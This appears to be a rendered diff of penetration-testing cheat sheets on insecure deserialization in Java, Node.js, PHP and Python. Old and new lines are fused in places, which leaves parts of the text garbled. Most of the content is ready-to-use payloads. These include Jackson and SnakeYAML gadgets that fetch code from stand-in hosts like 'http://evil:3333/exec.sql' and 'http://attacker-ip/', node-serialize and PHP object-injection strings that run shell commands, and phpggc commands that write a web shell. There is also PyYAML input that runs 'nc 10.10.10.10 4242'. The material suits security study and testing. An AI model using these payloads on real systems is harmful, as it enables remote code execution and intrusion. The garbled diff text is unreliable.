* [Flexjson](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#flexjson-json)
* [Jodd](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#jodd-json)
**Jackson**:
Jackson is a popular Java library used for working with JSON (JavaScript Object Notation) data.
Jackson-databind supports Polymorphic Type Handling (PTH), formerly known as "Polymorphic Deserialization", which is disabled by default.
To determine if the backend is using Jackson, the most common technique is to send an invalid JSON and inspect the error message. Look for references to either of those:
```java ```java
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]] Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
where
-a - generates/tests all payloads for that marshaller
-t - runs in test mode, unmarshalling the generated payloads after generating them.
-v - verbose mode, e.g. also shows the generated payload in test mode.
gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
arguments - Gadget specific arguments
``` ```
Payload generators for the following marshallers are included:<br /> * com.fasterxml.jackson.databind
* org.codehaus.jackson.map
| Marshaller | Gadget Impact **Exploitation**:
| ------------------------------- | ----------------------------------------------
| BlazeDSAMF(0&#124;3&#124;X) | JDK only escalation to Java serialization<br/>various third party libraries RCEs
| Hessian&#124;Burlap | various third party RCEs
| Castor | dependency library RCE
| Jackson | **possible JDK only RCE**, various third party RCEs
| Java | yet another third party RCE
| JsonIO | **JDK only RCE**
| JYAML | **JDK only RCE**
| Kryo | third party RCEs
| KryoAltStrategy | **JDK only RCE**
| Red5AMF(0&#124;3) | **JDK only RCE**
| SnakeYAML | **JDK only RCEs**
| XStream | **JDK only RCEs**
| YAMLBeans | third party RCE
* **CVE-2017-7525**
```json
{
"param": [
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
{
"transletBytecodes": [
"yv66v[JAVA_CLASS_B64_ENCODED]AIAEw=="
],
"transletName": "a.b",
"outputProperties": {}
}
]
}
```
* **CVE-2017-17485**
```json
{
"param": [
"org.springframework.context.support.FileSystemXmlApplicationContext",
"http://evil/spel.xml"
]
}
```
* **CVE-2019-12384**
```json
[
"ch.qos.logback.core.db.DriverManagerConnectionSource",
{
"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"
}
]
```
* **CVE-2020-36180**
```json
[
"org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS",
{
"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://evil:3333/exec.sql'"
}
]
```
* **CVE-2020-9548**
```json
[
"br.com.anteros.dbcp.AnterosDBCPConfig",
{
"healthCheckRegistry": "ldap://{{interactsh-url}}"
}
]
```
## YAML Deserialization
* [SnakeYAML](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#snakeyaml-yaml)
* [jYAML](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#jyaml-yaml)
* [YamlBeans](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#yamlbeans-yaml)
**SnakeYAML**:
SnakeYAML is a popular Java-based library used for parsing and emitting YAML (YAML Ain't Markup Language) data. It provides an easy-to-use API for working with YAML, a human-readable data serialization standard commonly used for configuration files and data exchange.
```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker-ip/"]
]]
]
```
## ViewState
In Java, ViewState refers to the mechanism used by frameworks like JavaServer Faces (JSF) to maintain the state of UI components between HTTP requests in web applications. There are 2 major implementations:
* Oracle Mojarra (JSF reference implementation)
* Apache MyFaces
**Tools**:
* [joaomatosf/jexboss](https://github.com/joaomatosf/jexboss) - JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool
* [Synacktiv-contrib/inyourface](https://github.com/Synacktiv-contrib/inyourface) - InYourFace is a software used to patch unencrypted and unsigned JSF ViewStates.
### Encoding
| Encoding | Starts with |
| ------------- | ----------- |
| base64 | `rO0` |
| base64 + gzip | `H4sIAAA` |
### Storage
The `javax.faces.STATE_SAVING_METHOD` is a configuration parameter in JavaServer Faces (JSF). It specifies how the framework should save the state of a component tree (the structure and data of UI components on a page) between HTTP requests.
The storage method can also be inferred from the viewstate representation in the HTML body.
* **Server side** storage: `value="-XXX:-XXXX"`
* **Client side** storage: `base64 + gzip + Java Object`
### Encryption
By default MyFaces uses DES as encryption algorithm and HMAC-SHA1 to authenticate the ViewState. It is possible and recommended to configure more recent algorithms like AES and HMAC-SHA256.
| Encryption Algorithm | HMAC |
| -------------------- | ----------- |
| DES ECB (default) | HMAC-SHA1 |
Supported encryption methods are BlowFish, 3DES, AES and are defined by a context parameter.
The value of these parameters and their secrets can be found inside these XML clauses.
```xml
<param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
<param-name>org.apache.myfaces.SECRET</param-name>
<param-name>org.apache.myfaces.MAC_SECRET</param-name>
```
Common secrets from the [documentation](https://cwiki.apache.org/confluence/display/MYFACES2/Secure+Your+Application).
| Name | Value |
| -------------------- | ---------------------------------- |
| AES CBC/PKCS5Padding | `NzY1NDMyMTA3NjU0MzIxMA==` |
| DES | `NzY1NDMyMTA=<` |
| DESede | `MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz` |
| Blowfish | `NzY1NDMyMTA3NjU0MzIxMA` |
| AES CBC | `MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz` |
| AES CBC IV | `NzY1NDMyMTA3NjU0MzIxMA==` |
* **Encryption**: Data -> encrypt -> hmac_sha1_sign -> b64_encode -> url_encode -> ViewState
* **Decryption**: ViewState -> url_decode -> b64_decode -> hmac_sha1_unsign -> decrypt -> Data
## References ## References
- [Github - ysoserial](https://github.com/frohoff/ysoserial) * [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau - March 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
- [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md) * [Exploiting the Jackson RCE: CVE-2017-7525 - Adam Caudill - October 4, 2017](https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/)
- [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) * [Hack The Box - Arkham - 0xRick - August 10, 2019](https://0xrick.github.io/hack-the-box/arkham/)
- [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a) * [How I found a $1500 worth Deserialization vulnerability - Ashish Kunwar - August 28, 2018](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html) * [Jackson CVE-2019-12384: anatomy of a vulnerability class - Andrea Brancaleoni - July 22, 2019](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
- [Jackson CVE-2019-12384: anatomy of a vulnerability class](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html) * [Jackson gadgets - Anatomy of a vulnerability - Andrea Brancaleoni - 22 Jul 2019](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
- [On Jackson CVEs: Dont Panic — Here is what you need to know](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96) * [Jackson Polymorphic Deserialization - FasterXML - July 23, 2020](https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization)
- [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin / @artsploit - 29 June 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464) * [Java Deserialization Cheat Sheet - Aleksei Tiurin - May 23, 2023](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
* [Java Deserialization in ViewState - Haboob Team - December 23, 2020](https://www.exploit-db.com/docs/48126)
* [JSF ViewState upside-down - Renaud Dubourguais, Nicolas Collignon - March 15, 2016](https://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf)
* [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
* [On Jackson CVEs: Dont Panic — Here is what you need to know - cowtowncoder - December 22, 2017](https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062)
* [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin (@artsploit) - June 29, 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)
* [Triggering a DNS lookup using Java Deserialization - paranoidsoftware.com - July 5, 2020](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
* [Understanding & practicing java deserialization exploits - Diablohorn - September 9, 2017](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
* [Friday the 13th JSON Attacks - Alvaro Muñoz & Oleksandr Mirosh - July 28, 2017](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)

View File

@@ -0,0 +1,55 @@
# Node Deserialization
> Node.js deserialization refers to the process of reconstructing JavaScript objects from a serialized format, such as JSON, BSON, or other formats that represent structured data. In Node.js applications, serialization and deserialization are commonly used for data storage, caching, and inter-process communication.
## Summary
* [Methodology](#methodology)
* [node-serialize](#node-serialize)
* [funcster](#funcster)
* [References](#references)
## Methodology
* In Node source code, look for:
* `node-serialize`
* `serialize-to-js`
* `funcster`
### node-serialize
> An issue was discovered in the node-serialize package 0.0.4 for Node.js. Untrusted data passed into the `unserialize()` function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE).
1. Generate a serialized payload
```js
var y = {
rce : function(){
require('child_process').exec('ls /', function(error,
stdout, stderr) { console.log(stdout) });
},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
```
2. Add bracket `()` to force the execution
```js
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });}()"}
```
3. Send the payload
### funcster
```js
{"rce":{"__js_function":"function(){CMD=\"cmd /c calc\";const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').exec(CMD,function(error,stdout,stderr){console.log(stdout)});}()"}}
```
## References
* [CVE-2017-5941 - National Vulnerability Database - February 9, 2017](https://nvd.nist.gov/vuln/detail/CVE-2017-5941)
* [Exploiting Node.js deserialization bug for Remote Code Execution (CVE-2017-5941) - Ajin Abraham - October 31, 2018](https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf)
* [NodeJS Deserialization - gonczor - January 8, 2020](https://blacksheephacks.pl/nodejs-deserialization/)

View File

@@ -1,25 +1,26 @@
# PHP Object injection # PHP Deserialization
PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope. > PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
The following magic methods will help you for a PHP Object injection
* __wakeup() when an object is unserialized.
* __destruct() when an object is deleted.
* __toString() when an object is converted to a string.
Also you should check the `Wrapper Phar://` in [File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phar) which use a PHP object injection.
## Summary ## Summary
* [General concept](#general-concept) * [General Concept](#general-concept)
* [Authentication bypass](#authentication-bypass) * [Authentication Bypass](#authentication-bypass)
* [Finding and using gadgets](#finding-and-using-gadgets) * [Object Injection](#object-injection)
* [Real world examples](#real-world-examples) * [Finding and Using Gadgets](#finding-and-using-gadgets)
* [PHP Phar Deserialization](#php-phar-deserialization) * [Phar Deserialization](#phar-deserialization)
* [Real World Examples](#real-world-examples)
* [References](#references) * [References](#references)
## General concept ## General Concept
The following magic methods will help you for a PHP Object injection
* `__wakeup()` when an object is unserialized.
* `__destruct()` when an object is deleted.
* `__toString()` when an object is converted to a string.
Also you should check the `Wrapper Phar://` in [File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phar) which use a PHP object injection.
Vulnerable code: Vulnerable code:
@@ -49,17 +50,21 @@ Vulnerable code:
Craft a payload using existing code inside the application. Craft a payload using existing code inside the application.
```php * Basic serialized data
# Basic serialized data
a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
# Command execution ```php
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}" a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
``` ```
## Authentication bypass * Command execution
### Type juggling ```php
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
```
## Authentication Bypass
### Type Juggling
Vulnerable code: Vulnerable code:
@@ -82,13 +87,13 @@ a:2:{s:8:"username";b:1;s:8:"password";b:1;}
Because `true == "str"` is true. Because `true == "str"` is true.
### Object reference ## Object Injection
Vulnerable code: Vulnerable code:
```php ```php
<?php <?php
class Object class ObjectExample
{ {
var $guess; var $guess;
var $secretCode; var $secretCode;
@@ -108,78 +113,127 @@ if($obj) {
Payload: Payload:
```php ```php
O:6:"Object":2:{s:10:"secretCode";N;s:4:"guess";R:2;} O:13:"ObjectExample":2:{s:10:"secretCode";N;s:5:"guess";R:2;}
``` ```
We can do an array to like this: We can do an array like this:
```php ```php
a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;} a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;}
``` ```
## Finding and using gadgets ## Finding and Using Gadgets
Also called "PHP POP Chains", they can be used to gain RCE on the system. Also called `"PHP POP Chains"`, they can be used to gain RCE on the system.
[PHPGGC](https://github.com/ambionics/phpggc) is a tool built to generate the payload based on several frameworks: * In PHP source code, look for `unserialize()` function.
* Interesting [Magic Methods](https://www.php.net/manual/en/language.oop5.magic.php) such as `__construct()`, `__destruct()`, `__call()`, `__callStatic()`, `__get()`, `__set()`, `__isset()`, `__unset()`, `__sleep()`, `__wakeup()`, `__serialize()`, `__unserialize()`, `__toString()`, `__invoke()`, `__set_state()`, `__clone()`, and `__debugInfo()`:
* `__construct()`: PHP allows developers to declare constructor methods for classes. Classes which have a constructor method call this method on each newly-created object, so it is suitable for any initialization that the object may need before it is used. [php.net](https://www.php.net/manual/en/language.oop5.decon.php#object.construct)
* `__destruct()`: The destructor method will be called as soon as there are no other references to a particular object, or in any order during the shutdown sequence. [php.net](https://www.php.net/manual/en/language.oop5.decon.php#object.destruct)
* `__call(string $name, array $arguments)`: The `$name` argument is the name of the method being called. The `$arguments` argument is an enumerated array containing the parameters passed to the `$name`'ed method. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.call)
* `__callStatic(string $name, array $arguments)`: The `$name` argument is the name of the method being called. The `$arguments` argument is an enumerated array containing the parameters passed to the `$name`'ed method. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.callstatic)
* `__get(string $name)`: `__get()` is utilized for reading data from inaccessible (protected or private) or non-existing properties. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.get)
* `__set(string $name, mixed $value)`: `__set()` is run when writing data to inaccessible (protected or private) or non-existing properties. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.set)
* `__isset(string $name)`: `__isset()` is triggered by calling `isset()` or `empty()` on inaccessible (protected or private) or non-existing properties. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.isset)
* `__unset(string $name)`: `__unset()` is invoked when `unset()` is used on inaccessible (protected or private) or non-existing properties. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.unset)
* `__sleep()`: `serialize()` checks if the class has a function with the magic name `__sleep()`. If so, that function is executed prior to any serialization. It can clean up the object and is supposed to return an array with the names of all variables of that object that should be serialized. If the method doesn't return anything then **null** is serialized and **E_NOTICE** is issued.[php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.sleep)
* `__wakeup()`: `unserialize()` checks for the presence of a function with the magic name `__wakeup()`. If present, this function can reconstruct any resources that the object may have. The intended use of `__wakeup()` is to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.wakeup)
* `__serialize()`: `serialize()` checks if the class has a function with the magic name `__serialize()`. If so, that function is executed prior to any serialization. It must construct and return an associative array of key/value pairs that represent the serialized form of the object. If no array is returned a TypeError will be thrown. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.serialize)
* `__unserialize(array $data)`: this function will be passed the restored array that was returned from __serialize(). [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.unserialize)
* `__toString()`: The __toString() method allows a class to decide how it will react when it is treated like a string [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.tostring)
* `__invoke()`: The `__invoke()` method is called when a script tries to call an object as a function. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.invoke)
* `__set_state(array $properties)`: This static method is called for classes exported by `var_export()`. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.set-state)
* `__clone()`: Once the cloning is complete, if a `__clone()` method is defined, then the newly created object's `__clone()` method will be called, to allow any necessary properties that need to be changed. [php.net](https://www.php.net/manual/en/language.oop5.cloning.php#object.clone)
* `__debugInfo()`: This method is called by `var_dump()` when dumping an object to get the properties that should be shown. If the method isn't defined on an object, then all public, protected and private properties will be shown. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.debuginfo)
- Laravel [ambionics/phpggc](https://github.com/ambionics/phpggc) is a tool built to generate the payload based on several frameworks:
- Symfony
- SwiftMailer * Laravel
- Monolog * Symfony
- SlimPHP * SwiftMailer
- Doctrine * Monolog
- Guzzle * SlimPHP
* Doctrine
* Guzzle
```powershell ```powershell
phpggc monolog/rce1 'phpinfo();' -s phpggc monolog/rce1 'phpinfo();' -s
phpggc monolog/rce1 assert 'phpinfo()'
phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
phpggc Monolog/RCE2 system 'id' -p phar -o /tmp/testinfo.ini
``` ```
## PHP Phar Deserialization ## Phar Deserialization
Using `phar://` wrapper, one can trigger a deserialization on the specified file like in `file_get_contents("phar://./archives/app.phar")`. Using `phar://` wrapper, one can trigger a deserialization on the specified file like in `file_get_contents("phar://./archives/app.phar")`.
A valid PHAR includes four elements: A valid PHAR includes four elements:
1. Stub 1. **Stub**: The stub is a chunk of PHP code which is executed when the file is accessed in an executable context. At a minimum, the stub must contain `__HALT_COMPILER();` at its conclusion. Otherwise, there are no restrictions on the contents of a Phar stub.
2. Manifest 2. **Manifest**: Contains metadata about the archive and its contents.
3. File Contents 3. **File Contents**: Contains the actual files in the archive.
4. Signature 4. **Signature**(optional): For verifying archive integrity.
Example of a Phar creation in order to exploit a custom `PDFGenerator`. * Example of a Phar creation in order to exploit a custom `PDFGenerator`.
```php ```php
<?php <?php
class PDFGenerator { } class PDFGenerator { }
//Create a new instance of the Dummy class and modify its property //Create a new instance of the Dummy class and modify its property
$dummy = new PDFGenerator(); $dummy = new PDFGenerator();
$dummy->callback = "passthru"; $dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload $dummy->fileName = "uname -a > pwned"; //our payload
// Delete any existing PHAR archive with that name // Delete any existing PHAR archive with that name
@unlink("poc.phar"); @unlink("poc.phar");
// Create a new archive // Create a new archive
$poc = new Phar("poc.phar"); $poc = new Phar("poc.phar");
// Add all write operations to a buffer, without modifying the archive on disk // Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering(); $poc->startBuffering();
// Set the stub // Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();"); $poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
/* Add a new file in the archive with "text" as its content*/ /* Add a new file in the archive with "text" as its content*/
$poc["file"] = "text"; $poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized // Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy); $poc->setMetadata($dummy);
// Stop buffering and write changes to disk // Stop buffering and write changes to disk
$poc->stopBuffering(); $poc->stopBuffering();
?> ?>
``` ```
* Example of a Phar creation with a `JPEG` magic byte header since there is no restriction on the content of stub.
## Real world examples ```php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
## Real World Examples
* [Vanilla Forums ImportController index file_exists Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410237) * [Vanilla Forums ImportController index file_exists Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410237)
* [Vanilla Forums Xenforo password splitHash Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410212) * [Vanilla Forums Xenforo password splitHash Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410212)
@@ -188,15 +242,20 @@ $poc->stopBuffering();
## References ## References
* [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection) * [CTF writeup: PHP object injection in kaspersky CTF - Jaimin Gohel - November 24, 2018](https://medium.com/@jaimin_gohel/ctf-writeup-php-object-injection-in-kaspersky-ctf-28a68805610d)
* [Utilizing Code Reuse/ROP in PHP](https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf) * [ECSC 2019 Quals Team France - Jack The Ripper Web - noraj - May 22, 2019](https://web.archive.org/web/20211022161400/https://blog.raw.pm/en/ecsc-2019-quals-write-ups/#164-Jack-The-Ripper-Web)
* [PHP unserialize](http://php.net/manual/en/function.unserialize.php) * [FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 1 - Rémi Matasse - September 12, 2023](https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-1)
* [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains) * [FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 2 - Rémi Matasse - October 11, 2023](https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-2)
* [POC2009 Shocking News in PHP Exploitation](https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf) * [Finding PHP Serialization Gadget Chain - DG'hAck Unserial killer - xanhacks - August 11, 2022](https://www.xanhacks.xyz/p/php-gadget-chain/#introduction)
* [PHP Internals Book - Serialization](http://www.phpinternalsbook.com/classes_objects/serialization.html)
* [TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec](https://rawsec.ml/en/meepwn-2017-write-ups/#TSULOTT-Web)
* [CTF writeup: PHP object injection in kaspersky CTF](https://medium.com/@jaimin_gohel/ctf-writeup-php-object-injection-in-kaspersky-ctf-28a68805610d)
* [Jack The Ripper Web challeneg Write-up from ECSC 2019 Quals Team France by Rawsec](https://rawsec.ml/en/ecsc-2019-quals-write-ups/#164-Jack-The-Ripper-Web)
* [Rusty Joomla RCE Unserialize overflow](https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41)
* [PHP Pop Chains - Achieving RCE with POP chain exploits. - Vickie Li - September 3, 2020](https://vkili.github.io/blog/insecure%20deserialization/pop-chains/)
* [How to exploit the PHAR Deserialization Vulnerability - Alexandru Postolache - May 29, 2020](https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability/) * [How to exploit the PHAR Deserialization Vulnerability - Alexandru Postolache - May 29, 2020](https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability/)
* [phar:// deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization)
* [PHP deserialization attacks and a new gadget chain in Laravel - Mathieu Farrell - February 13, 2024](https://blog.quarkslab.com/php-deserialization-attacks-and-a-new-gadget-chain-in-laravel.html)
* [PHP Generic Gadget - Charles Fol - July 4, 2017](https://www.ambionics.io/blog/php-generic-gadget-chains)
* [PHP Internals Book - Serialization - jpauli - June 15, 2013](http://www.phpinternalsbook.com/classes_objects/serialization.html)
* [PHP Object Injection - Egidio Romano - April 24, 2020](https://www.owasp.org/index.php/PHP_Object_Injection)
* [PHP Pop Chains - Achieving RCE with POP chain exploits. - Vickie Li - September 3, 2020](https://vkili.github.io/blog/insecure%20deserialization/pop-chains/)
* [PHP unserialize - php.net - March 29, 2001](http://php.net/manual/en/function.unserialize.php)
* [POC2009 Shocking News in PHP Exploitation - Stefan Esser - May 23, 2015](https://web.archive.org/web/20150523205411/https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)
* [Rusty Joomla RCE Unserialize overflow - Alessandro Groppo - October 3, 2019](https://blog.hacktivesecurity.com/index.php/2019/10/03/rusty-joomla-rce/)
* [TSULOTT Web challenge write-up - MeePwn CTF - Rawsec - July 15, 2017](https://web.archive.org/web/20211022151328/https://blog.raw.pm/en/meepwn-2017-write-ups/#TSULOTT-Web)
* [Utilizing Code Reuse/ROP in PHP - Stefan Esser - June 15, 2020](http://web.archive.org/web/20200615044621/https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf)

View File

@@ -1,6 +1,29 @@
# Python Deserialization # Python Deserialization
## Pickle > Python deserialization is the process of reconstructing Python objects from serialized data, commonly done using formats like JSON, pickle, or YAML. The pickle module is a frequently used tool for this in Python, as it can serialize and deserialize complex Python objects, including custom classes.
## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [Pickle](#pickle)
* [PyYAML](#pyyaml)
* [References](#references)
## Tools
* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) - Serialized payload for deserialization RCE attack on python driven applications where pickle,PyYAML, ruamel.yaml or jsonpickle module is used for deserialization of serialized data.
## Methodology
In Python source code, look for these sinks:
* `cPickle.loads`
* `pickle.loads`
* `_pickle.loads`
* `jsonpickle.decode`
### Pickle
The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object. The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object.
:warning: `import cPickle` will only work on Python 2 :warning: `import cPickle` will only work on Python 2
@@ -45,7 +68,46 @@ evil_token = b64encode(cPickle.dumps(e))
print("Your Evil Token : {}").format(evil_token) print("Your Evil Token : {}").format(evil_token)
``` ```
### PyYAML
YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.
```yaml
!!python/object/apply:time.sleep [10]
!!python/object/apply:builtins.range [1, 10, 1]
!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
!!python/object/new:subprocess [["ls","-ail"]]
!!python/object/new:subprocess.check_output [["ls","-ail"]]
```
```yaml
!!python/object/apply:subprocess.Popen
- ls
```
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
Since PyYaml version 6.0, the default loader for `load` has been switched to SafeLoader mitigating the risks against Remote Code Execution. [PR #420 - Fix](https://github.com/yaml/pyyaml/issues/420)
The vulnerable sinks are now `yaml.unsafe_load` and `yaml.load(input, Loader=yaml.UnsafeLoader)`.
```py
with open('exploit_unsafeloader.yml') as file:
data = yaml.load(file,Loader=yaml.UnsafeLoader)
```
## References ## References
* [Exploiting misuse of Python's "pickle" - Mar 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/) * [CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)
* [Python Pickle Injection - Apr 30, 2017](http://xhyumiracle.com/python-pickle-injection/) * [Exploiting misuse of Python's "pickle" - Nelson Elhage - March 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/)
* [Python Yaml Deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization)
* [PyYAML Documentation - PyYAML - April 29, 2006](https://pyyaml.org/wiki/PyYAMLDocumentation)
